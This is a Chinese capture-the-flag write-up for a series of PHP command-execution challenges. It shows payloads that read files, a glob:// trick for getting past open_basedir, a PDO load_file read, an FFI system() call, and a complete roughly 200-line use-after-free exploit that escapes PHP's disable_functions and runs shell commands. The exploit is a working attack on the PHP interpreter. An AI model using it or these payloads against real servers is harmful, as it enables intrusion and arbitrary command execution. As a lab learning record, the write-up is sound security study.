  • exit() 函数在 PHP 中用于终止脚本的执行。当 exit() 被调用时,脚本会立即停止运行,并且不再执行后面的代码。此外,exit() 函数还可以选择性地输出一条消息到客户端(如浏览器)。

die()函数

die() 函数的行为实际上与 exit() 函数完全相同;它们都可以用来终止脚本,并且都可以接受一个可选的字符串参数作为要输出的消息。在 PHP 文档中,die() 函数有时被描述为 exit() 函数的别名,专门用于在出现致命错误时终止脚本。

payload示例:

1
2
c=include('/flag.txt');exit();
c=include('/flag.txt');die();

所以以上两个方法,都只是在原来的dpayload后面加上对应的函数就可以了,做法其实大同小异

web72

正常的用71的方法做一下

c=var_export(scandir(‘/‘));exit();

发现scandir()函数不能用了,不能正常查看目录

后来查过报错后发现这个错误信息显示的是在尝试使用 scandir() 函数打开一个目录时,操作没有被允许。这通常是因为当前运行 PHP 脚本的用户没有足够的权限去访问指定的目录。这是由于 open_basedir 限制,这个操作被禁止了。open_basedir 是 PHP 的一个安全配置指令,用来限制 PHP 脚本只能访问特定的目录。

当前配置只允许访问 /var/www/html/ 目录及其子目录,但不允许访问其他目录。

解题思路:

此题过滤了scandir(),readdir(),opendir()

首先要查看flag所在的地方,这里可以用glob伪协议,此协议筛选目录不受open_basedir的制约

php 伪协议

php支持的伪协议

1 file:// — 访问本地文件系统

2 http:// — 访问 HTTP(s) 网址

3 ftp:// — 访问 FTP(s) URLs

4 php:// — 访问各个输入/输出流(I/O streams)

5 zlib:// — 压缩流

6 data:// — 数据(RFC 2397)

7 glob:// — 查找匹配的文件路径模式

8 phar:// — PHP 归档

9 ssh2:// — Secure Shell 2

10 rar:// — RAR

11 ogg:// — 音频流

12 expect:// — 处理交互式的流

PHP 的 glob() 函数,它用于查找与指定模式匹配的文件路径。glob() 函数返回一个包含匹配文件或目录的数组,或者在没有匹配项时返回 false

1、目录文件扫描;

c= ?>__toString().' ');} exit(0); ?>

c=?><?php $a=new DirectoryIterator(“glob:///*”);//创建一个DirectoryIterator对象,遍历根目录

foreach($a as $f)//// 遍历每个条目

{

echo($f->__toString().’ ‘);//// 输出条目的名称,并添加一个空格

}

exit(0);

?>

查看到目录有flag0.txt文件

2、读取文件内容

该题需要使用UAF脚本,利用了 php 的垃圾回收机制。代码涉及到偏移地址之类的

UAF脚本

UAF(Use After Free)漏洞的脚本通常涉及对已经被释放的内存块(堆块)的非法访问或操作。这种漏洞常常发生在编程中,当程序释放了一个内存块后,没有正确地将其指针置为空(NULL)或进行其他形式的清理,导致后续代码仍然可以通过该指针访问已经释放的内存区域。

在编写UAF漏洞的利用脚本时,攻击者通常会尝试执行以下步骤:

  1. 申请内存块:首先,攻击者会通过合法的手段(如malloc、new等)申请一个或多个内存块。
  2. 释放内存块:接着,攻击者会释放其中一个或多个内存块,但故意不将相关的指针置为空。
  3. 利用未置空的指针:在内存块被释放后,攻击者会尝试通过之前未置空的指针来访问或修改这块已经释放的内存区域。由于这块内存可能已经被重新分配给其他用途,因此这种访问或修改可能会导致不可预测的行为,包括信息泄露、任意代码执行等。
  4. 实现攻击目标:通过精心构造的输入或操作,攻击者可以利用UAF漏洞实现各种攻击目标,如获取敏感信息、提升权限、执行任意代码等。

这里直接给出大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
c=?><?php
pwn("ls /;cat /flag0.txt");

function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

经过url编码后传进去就可以拿到flag!

web73–74

73本题没有open_basedir限制,但74题是过滤了scandir()函数,所以都可以用72的伪协议去查看目录

试一下这个发现可以用

c=var_export(scandir(‘/‘));exit();

也可以用72的伪协议去查看目录

include()函数也可以用

c=include(“/flagc.txt”);exit();

web75–76

用伪协议查看文件目录 后发现这道题include_path限制了文件包含的路径,无法直接使用include包含得到flag信息,

这里直接摘抄大佬的wp里的payload:

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
try {
# 创建 PDO 实例, 连接 MySQL 数据库
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');

# 在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}

$dbh = null;
}

catch (PDOException $e) {
echo $e->getMessage();exit(0);
}

exit(0);

采用mysql里面的

LOAD_FILE()函数

文件读取LOAD_FILE() 函数允许数据库用户读取服务器上的任意文件

web77

正常使用伪协议看目录

然后发现各种做法都不能做,果断看wp:

c=$ffi = FFI::cdef(“int system(const char *command);”);$a=’/readflag > 1.txt’;$ffi->system($a);exit();

解释一下:

$ffi = FFI::cdef(“int system(const char *command);”); //创建一个system对象

$a=’/readflag > 1.txt’; //因为页面不会回显,所以将内容输出到1.txt

$ffi->system($a); //通过$ffi去调用system函数

讲一下FFI

FFI原理

FFI,php7.4 以上才有。

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。